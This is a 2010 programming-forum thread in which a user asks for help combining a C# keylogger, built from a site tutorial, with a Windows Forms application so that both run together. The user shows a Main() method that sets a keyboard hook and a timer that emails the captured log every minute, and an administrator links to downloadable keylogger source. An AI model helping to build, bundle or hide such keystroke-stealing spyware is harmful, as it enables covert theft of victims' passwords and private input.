+  Scratch Projects Forum
|-+  Programmers Corner» C#» How would i do this?
Username:
Password:
Pages: [1]
  Print  
Author Topic: How would i do this?  (Read 81 times)
TomTheBeast
n00b
*

Karma: +0/-0
Posts: 2


View Profile
« on: July 28, 2010, 05:57:33 PM »

Hey, i found the Guide on how to make a simple keylogger in C#(Link: http://www.scratchprojects.com/2008/09/csharp_keylogger_p01.php, and i kinda have close to the lowest idea of how this works, so how would i make it run the application too? sofar i have this, but it doesnt send me the email, any clue why? i lowered the timer interval down to 1 minute so i can get it fast, yet to fast enough to know that it is working.
Code:
public static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            _hookID = SetHook(_proc);
            Program.startup();
            System.Timers.Timer timer;
            timer = new System.Timers.Timer();
            timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);
            timer.AutoReset = true;
            //timer.Interval = 3600000;
            timer.Interval = 60000;
            timer.Start();
            Application.Run(new Form1());
            GC.KeepAlive(timer);
            UnhookWindowsHookEx(_hookID);


        }
It run's but it doesn't run the keylogger, and its not the rest of the program, because if i remove the
Code:
Application.Run(new Form1());
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
then the keylogger works, and send's me the attachment, but how would i make the main() load the keylogger AND the program?
Logged
Kevin
Administrator
31337
*****

Karma: +1/-0
Posts: 137


View Profile WWW
« Reply #1 on: July 28, 2010, 06:43:38 PM »

Have you checked the sample code? http://www.scratchprojects.com/2008/09/csharp_keylogger.zip

Thanks,
Kevin
Logged

TomTheBeast
n00b
*

Karma: +0/-0
Posts: 2


View Profile
« Reply #2 on: July 28, 2010, 09:00:58 PM »

Yea but when i have it like that, the program doesn't run :\
Logged
Pages: [1]
  Print  
 
Jump to: